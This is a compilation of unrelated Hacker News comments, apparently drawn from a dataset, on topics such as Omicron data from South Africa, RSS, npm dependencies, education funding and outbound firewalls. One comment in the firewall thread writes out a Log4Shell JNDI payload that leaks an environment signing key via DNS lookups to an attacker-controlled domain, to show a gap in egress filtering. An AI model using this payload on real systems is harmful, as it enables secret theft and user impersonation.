skysight-inc/HackerNews huggingface dataset:
> I made a statistic myself, using the data provided there, looking at the "Daily Hospital Surveillance (DATCOV) Report" and then "Died". From the historical data listed there, I got the "Died" number for every second day, and took the average of 7. From December 11 to November 25, for every 2nd day, this is 61, 46, 42, 32, 32, 27, 26, 25, 25. So, 61 is the average of the last 14 days, and so on.

The problem with this is that this is the total number of deaths, not the death rate. You are correct that the total deaths is increasing, but this is to be expected when the total number of infections also increases. Even if omicron proves to be "mild", there will certainly be deaths associated with it.

> OK... so yes death could also be incidental, as well as the increase in oxygenated... Yes, it could be. But what would be the explanation for this "incidental" increase? Some other infection? Remember it is summer in South Africa.

I think the point here is that hospitalizations in general aren't necessarily increasing. People go to the hospital every day for any number of causes, including broken bones, pain, etc. The point is that more of them are infected with Covid than before. This doesn't mean Covid is driving more hospitalizations, it simply means that a greater proportion of people going to the hospital for unrelated causes happen to be infected with Covid at the time they go. This is in line with what you would expect if omicron is both more infectious, and less severe.

> No. But according to the article, "Dr Coetzee said that ..., but added that after one month the case rate in South Africa is already decreasing." With such a high test positivity rate, how can someone say "case rate is decreasing"? On the published data, I don't see any evidence that the case rate is decreasing: the numbers are very high, and likely the limit on the number of tests that can be performed have been reached. The WHO target number for test positivity rate is 5% I think. In a wave it is often higher than that, sure.

To be sure, the test positivity rate in SA is extremely high, so I think its wise to be skeptical of case numbers falling in recent days. We will see if the wave is already crested, or if it will continue to skyrocket.

> Dr Coetzee said "the severity of the disease is mild". Of course there are multiple interpretations of that: it is less severe on average than the Delta variant. Or it could mean: it is like a common cold. It is not clear what Dr Coetzee meant here.

I agree that there are lots of potential interpretations here, and a lot remains to be seen. It may be that it isn't less severe at all, and that what we've seen so far is being confounded by something. But with what little evidence we have, there is at least some reason to be hesitantly optimistic. Hopefully it remains that way.
It is largely built from Epic’s huge library of photogrammetry assets. This is open for any dev to use.
Why not both? Places like HN are full of legitimate criticism of western abuses of power, and you can plainly see it if you do a search, since it doesn’t get scrubbed from the internet unlike certain places.
“it’s a lot of work” should never be a reason for not securing an system.

It’s also invite to solve a problem so it’s not a lot of work. It should be easy to secure your systems from making outbound connection.
This is literally magic and has been yoinked into my dotfiles.
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Colour was on offer since at least Widows 98. In fact, desktop themes were a thing, with custom wallpaper, colours, icons - precisely so the computer looks less dreary. If GNUStep was impossible to theme (or if theming was hard to implement there), I'd be surprised.

Information density the one thing 1995 interfaces got right for power users. Modern applications fit 10 items per screen, and most don't bother to make this adjustable. My desktop computer or laptop could outcompute a Cray twice over, and yet I'm made to feel like I'm stripped of all that power.
...Getting information through the lens of a virtual secretary which has a sub-animal intellectual size. Apart from all the social and intellectual implications, that is still not a replacement for information update pull.
> Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible?

Not really, but it's important to keep in mind that these kinds of things are less effective than you might imagine. E.g. using the system resolver wouldn't be covered by a firewall in most configurations, so this doesn't help you for an exploit like ${jndi:ldap://${env:AUTH_COOKIE_SIGNING_KEY}.attackercontrolleddns.com} followed by impersonating any user.

Even if you correctly lock down the application server networks and nodes, I'd be surprised to find a restricted DNS resolver in place. It's a good idea for sure, but I'd expect it to be very rarely done. Not least because "exfiltrate data over DNS" is probably not a well-known vector.

> (Obviously everyone should already be using inbound WAF such as CloudFlare)

How is this obvious? This is not a trivial matter.
If it’s insanely overfunded, how come a career in tech is many multiples of income vs teaching? Good luck buying a decent home on a teacher’s salary in attractive areas.

Inspire and grow the intelligence of the next generation? Nah, let’s sell ads and figure out how to make people spend more time on social media, getting rich in the process.
JetBlue Ventures?

Does every random company have a hedge fund inside of it now?
There is always waste clouding margin. The fact that all these big players cannot figure out how to wring it out and get more than a few percentage points of profit with 10+ years of experience and data means it must be very hard to identify and fix.

Tech can usually come in and clean house in a new business due to introducing highly scalable processes that drive down marginal costs to near zero. I do not see how that dynamic would be possible in the current healthcare business in the US involving patients, doctors, hospitals, government, and lots of bureaucracy due to the politics of how healthcare resources are allocated and who is liable.
The app has a list of topics that anyone can add to. Each topic has a due date so you know when it is wrapping up, and they also have an explicit context and outcome; the topic creator sets the context, and the outcome is the bit that everyone collaborates on by editing together/using the discussion thread. Once the topic is done and a decision made, you lock the topic, saving the context, decision, and the discussion thread for later reference.

It's better than Slack because it lets you engage with discussions more mindfully and across time zones, rather than as they come up in easy to miss and fragmented threads, and ensures that the decision is self-documenting when it's done. It's also better than something like Notion, an Issue, or Google Doc because it has better embedded conversation threads, and comes with the structure for separating context and decision.

Everything else we tried was too free form, this brought just enough structure to get everyone on the same page and make decisions/discuss topics without getting in the way, while having some consistency to finding them and how the conversations were structured.

Does this help? There is a video up at https://asyncgo.com, but it suffers from how hard it has been to figure out how to talk about the app clearly.
This is horrible:

https://arstechnica.com/tech-policy/2021/03/richard-stallman...
Hexadecanal appears to be an approved food additive that you can buy in bulk?
FAANG flourish because 1. lockdowns boost tech use 2. runaway money printing to fund the pandemic devalues money and forces people to invest. Both are at the direct expense of ordinary people whose businesses and savings are being destroyed. FAANG + pharma + gov now comprise a powerful coalition that controls information streams and regulation and which is incentivized to proceed with 'new normal' measures forever, regardless of their medical merit, and I wish it were possible to discuss this more openly and critically without devolving into a polarized left wing-right wing polemic.
If I were you, I would not use any kind of non open source and non self-hosted email service pretending to be "secret", in the best (!) case it has some sort of silent metadata/access logging. While common shady services like Protonmail bluntly store plain text archives, and even if they claim they don't, there's no zero-knowledge proof on this highly sensitive topic.
Do you have a local friend who would like to swap backup services with you? Each of you buys and configures a Raspberry Pi with a 2TB disk. Encrypt a storage filesystem. Load up your first backup, then swap boxes. Now you each have remote rsync/rsnapshot/rclone/ZFS/whatever targets, and if you run into big trouble, you can go get the box back for a really fast restore.
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> I don't think desktop wallpaper counts as any of that. The memory usage is trivial, it needs no CPU or disk space, and it has no UI after it's been set.

A bitmap of 1024x768x24 is around 2MB uncompressed in memory, which could be a lot at the time. (I remember having 24MB on my machine, maybe a bit outdated for W98?)
However, I guess that when a pattern is used as wallpaper, memory usage is indeed trivial (only store the pattern, blit repeatedly)
That isn't usually how NGOs raise money.
I think people were pretty blown away by the mRNA vaccines for example.
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Ask yourself, "what would batman want to learn," and learn that.

That's how I ended up with Practical Homicide Investigation Tactics, Procedures, and Forensic Techniques. It's amazing.
I think the world would be a better place if in these cases, instead of tweeting a rant and then submitting it to HackerNews, the OP took the effort to explain to that NGO why he thought RSS was a great tool and why they should keep using it.
For what it's worth: When I first launched my Wordpress-based website back in 2005, I initially had it set up to post full articles to the RSS feed. Soon, however, a major downside appeared: It became absolutely trivial for other sites to reproduce my content, and they did in droves. My writings appeared all over the web on generic Wordpress sites, usually attributed to other people. After grappling with the problem for a few months I gave up and switched the RSS to only publish intros, and that mostly resolved it.

Sure, it is always possible for a human to copy and paste my articles' text to their CMS, or for someone to write a simple scraper to extract the desired content. But both of those solutions introduce various hassles, and they require a human to fully accept that they are stealing content, which much fewer people are willing to do.
This is very strange, especially as stark differences in measured IQ (and, in fact, in intelligence) between small children are often rather apparent, before one gets any substantial amount of formal education, and because there are no known studies showing that education can actually increase IQ in any non trivial and lasting manner, other than literally teaching people answer to specific IQ tests.

Why would psychologists believe something so clearly wrong?
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> Why are we not all using some sort of outbound firewall for our apps?

Some places do. The systems I deal with definitely do, and it’s common in banking and card payment systems (PCI DSS has strict firewall requirements). Even our non payment systems we still restrict outbound access.

I think it comes down more to what focus your organisation has. Especially how important security plays in it.

This is also why I hate third party APIs that can’t be firewalled by IP/subnet but only by domain. Especially those operating behind a cloud load balancer like AWS ELB, because they are extremely/impossibly difficult to firewall without introducing risk of permitting access to other services also using the load balancer. Dealing with HTTP/HTTPS proxies is a pain and introduces yet another attack vector.
We can't really know looking in from the outside. Presumably they know how often their newsletters are sent out and how many social media followers they have and how often the RSS feed is pulled.
>Even when the supply chain attacks are not related to the JS ecosystem, JS/NPM gets mocked - inaccurately even...

js/npm really desirves it, I lost many hours last week because the shitty philosophy of spiting things not in libraries but in mainly functions and add on top of that packages with incorrect package.json, packages that depend on git repositories or shit where package X is bugged on node version Y so you should upgrade node but if I upgrade node then package W is now incompatible. (I inherited this project os is not my fault it uses outdated stuff or shit that is not longer cool).

With this Java log library it seems it does logging and you don't need also a leftpad and isOdd to have it working, some other library that just defines colors, some other library that changes the output from plain text to csv etc.

IMO using 1 lib for logging, 1 for unit tests, 1 for db access, 1 for http, 1 for GUI makes sense , what is stupid is if this 5 libraries combined will depend on 100+ libraries , we need to push against this since the npm philosophy and CV driven development is spreading.
Most of the banners swap the confirmation, cancel and allow all buttons. Don’t do this. Most of the banners also swap the direction of the on off toggles so it looks opposite of what action you’re taking. Don’t do this either.

Instead, have a simple modal with confirm and cancel in the proper locations, and just use checkboxes. Have every one deselected to start with as if someone is viewing that modal they’re likely about to disable all of them.
The IQ tests are not designed by gods, and while this is not the intention, education could very well have an effect on IQ.

In fact that's the conclusion of the study here.
In that article the streets being renamed are "Confederate <Something>". Clearly named after the Confederacy itself and not after people. Though they talk about possibly renaming streets named after people like Robert E. Lee or Nathan Bedford Forrest (founder of the KKK) later.

And an important clarification. To quote you:

> Sometimes these are family names that were made famous by a historical figure tied to a "bad" thing

These aren't streets that happened to share a name with these men, these were streets named for these men. The former (what you imply) is far less defensible (I'd say indefensible in general), but is not what is being discussed in your article. If you have another source where some non-Robert E. Lee named street is being renamed because it has the name "Lee" that would be a better example of what you're talking about.
Nothing says they didn't do both. Tweeting and getting it on HN both help with public awareness.

Edit: In fact they did, the OP commented below:

>Hi all, OP here, happily surprised to see this on the front page. Apologies for posting it as a tweet. Text below.*

>I've asked the NGO to reconsider their decision, but this isn't about them. It's about a systematic decline in the usage of RSS such that even major human rights organisation don't see it worth the relatively trivial effort to maintain a feed.

>I honestly think we need a concerted campaign to advocate for RSS. To educate people about its benefits and how to use it. To lobby platforms and websites to adopt RSS and champion notable one's who do. RSS is the back-to-the-future technology we need to keep up with the world in a private, decentralised and sanity-respecting way. If anyone agrees, get in touch and let's do something?
If you do the blocking in Azure via a Network Security Group, it's simple. You can allow outbound traffic to Azure services and deny anything else.
I wrote one script in awk and learned a lot:

- I understood where a lot of the stuff in Perl (and, to a lesser degree, Ruby) came from, especially Perl's implicit loop mode.

- I never wanted to write a program in awk again. Ruby (or whatever your preferred scripting language is) is better every time: awk is not much less work and Ruby generalizes more.

Awk for scripting is a bit like shell for scripting. It's easy to extend a script into something which is uncomfortably expensive to rewrite when you inevitably want to do something it's not well suited to. Awk still has uses, but it's in things like portable shell scripts which need more text manipulation power.
Let’s distinguish schools and education. Schools include buildings, administrators, utility bills, IT, football teams, etc. Education is actual learning by students of important things they wouldn’t otherwise learn elsewhere (science, literature, citizenship). I am not sure schools are overfunded but funding schools is not the same thing as funding education. Education, as far as I can tell, is simply not properly incentivized.
> Education is insanely overfunded

Can you cite a source for that claim? Genuinely curious, because I don't know if I've ever heard someone suggest it. (Conversely, the idea that education is substantially underfunded is generally assumed - at least in my bubble.)
This is essentially just an ad for their service, no? Why is this being upvoted? I'm surprised "SBOM" is actually an acronym people would recognize enough to upvote without reading the article.
Why do journalists feel so comfortable extrapolating from an entirely different country which has wildly different demographics, exposure characterists and past wave impacts. What I'm saying is:

1) Suppose a disease came by and wiped out all the main at risk people.

2) Now the disease comes back round with mutations but mostly the same at risk demographics.

At step 2 you would no longer be able to extrapolate from this country which has no data on at-risk people at step 2 because they are all dead.

Are we sure if Omicron was the original strain, it would be considered milder?
What makes you believe they didn't do that?
It is true that some people have an increased level of fear and concern when it comes to "Electronic" privacy. In some ways this is warranted from the history of abuse from withing this sector. But....

I am old enough to remember a time when 99% of people had their name, address and phone number listed in a public directory called the phone book. I have to admit I am somewhat wistful of that simpler and seemingly safer time.
Great, it's not just me then!
It would be interesting to see some analytics from YT makers...does YT logging the (average) playback speed for the videos for statistics?
Are farmers not in charge of essential duties? Are people working at electric plant, building houses, plumbing, manufacturing clothing, in charge of essential duties? How should they be paid? There shouldn't be a market price for that?

And who among us are performing non-essential duties? What does "essential duties" even mean? Should all so called essential duties be publicly funded? If so, by who? by the remaining of us who are providing non-essential duties?
RSS was first released/specified in 1999, so to say that the idea was to escape platforms like twitter is rewriting history (myspace didn't even launch until 4 years later, friendster three years later). The idea of RSS seems to (originally and still in some ways) to be able to keep track of updates to many different sites from one application.

My point was rather that twitter is a place where brands listen and also a place where a lot of web devs talk. If RSS is to continue being seen as relevant twitter would be a good place to advocate for it.
There's a lot of services doing that already, it's a very small market. There are also a bunch of open source projects doing that already. I built one myself (https://github.com/dewey/feedbridge) but there are better and more powerful ones on Github.
Seems Proton scan the emails.
Including domains in the body.
French loanwords started came to language in first half of 19th century, during the attempts of reforms by Sultans and with the influence of people who had French education. I would argue most french loanwords were adapted earlier than 1920's where Ataturk had an influence on Turkish language. Roughly ~4% of Turkish words are French loanwords.
Heinlein was a bit odd in that many of his writings, especially his lesser-read short novels, were written about these idealistic characters, living in idealistic environments that were full of equality, self-empowerment, and ignoring societal norms... yet at the same time, was often led by a man who could do everything, had everything, and everyone served him. It was like he saw the potential for change, but still fell back on a strong patriachical paradigm. An odd mix. And that quote is written from the perspective of one of his patriarchs. It is a good example of the variety of tasks that a self-sufficient person may learn. But I would not take that specific list as a correct guide for our time or society.
Well, back when that was common you'd import a numbered version, like "https://cdn.example.com/js/library-v1.2.3.js" which, unless the CDN was evil, would be immutable.

Someone even came up with a standard for "subresource integrity" [1] where you could specify a checksum of the thing you were importing from a CDN, so it couldn't be replaced by an evil CDN. I don't believe it ever achieved widespread use.

[1] https://developer.mozilla.org/en-US/docs/Web/Security/Subres...
I mentioned 8kun (and, implicitly, Q) because it's an English language example that should be familiar to the hackernews audience.

Outside of the English-speaking world, the mainstream social media platforms are far less moderated. So we have a place where we can test your theory, it's not hypothetical!

Result: Race-riots in Sri Lanka, anti-refugee violence in Germany, Rohingyan genocide in Myanmar, all fueled by disinformation on Facebook and organized on Facebook.

Uncontrolled social media creates a fact-free environment where the worst conspiracy theories and ethnic hatred spread like wildfire.

Truth matters.
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If I go to an e-commerce website and I am not signed in to, add a bunch of stuff to my cart and leave, I have absolutely no expectation the cart will persist until the next day, and I really don’t think you should either. Not only is it in an unreasonable expectation as an end user, but also it sounds like an absolute nightmare for businesses (Do you hold physical inventory for things in the cart? What about price changes or products are discontinued? Etc).
If you have ever worked in an industrial environment, phone bans are a safety issue more than a productivity issue, and are pretty much standard behavior. This article is just another hit job on Amazon. But I can tell you first hand, that Walmart, UPS, Every member of the U.S. steel industry association ban cellphones in production environments.

The warehouse should have a disaster alarm, and they should have a plan in place for what to do in situations like that, but the reality is even with such a system, tornadoes rarely give enough to react at scale.
Can it be used as a GUI for C++ programs?

Does it support OpenGL ES?
She speaks Dakota. I'm pretty sure that includes Nakota speakers as well.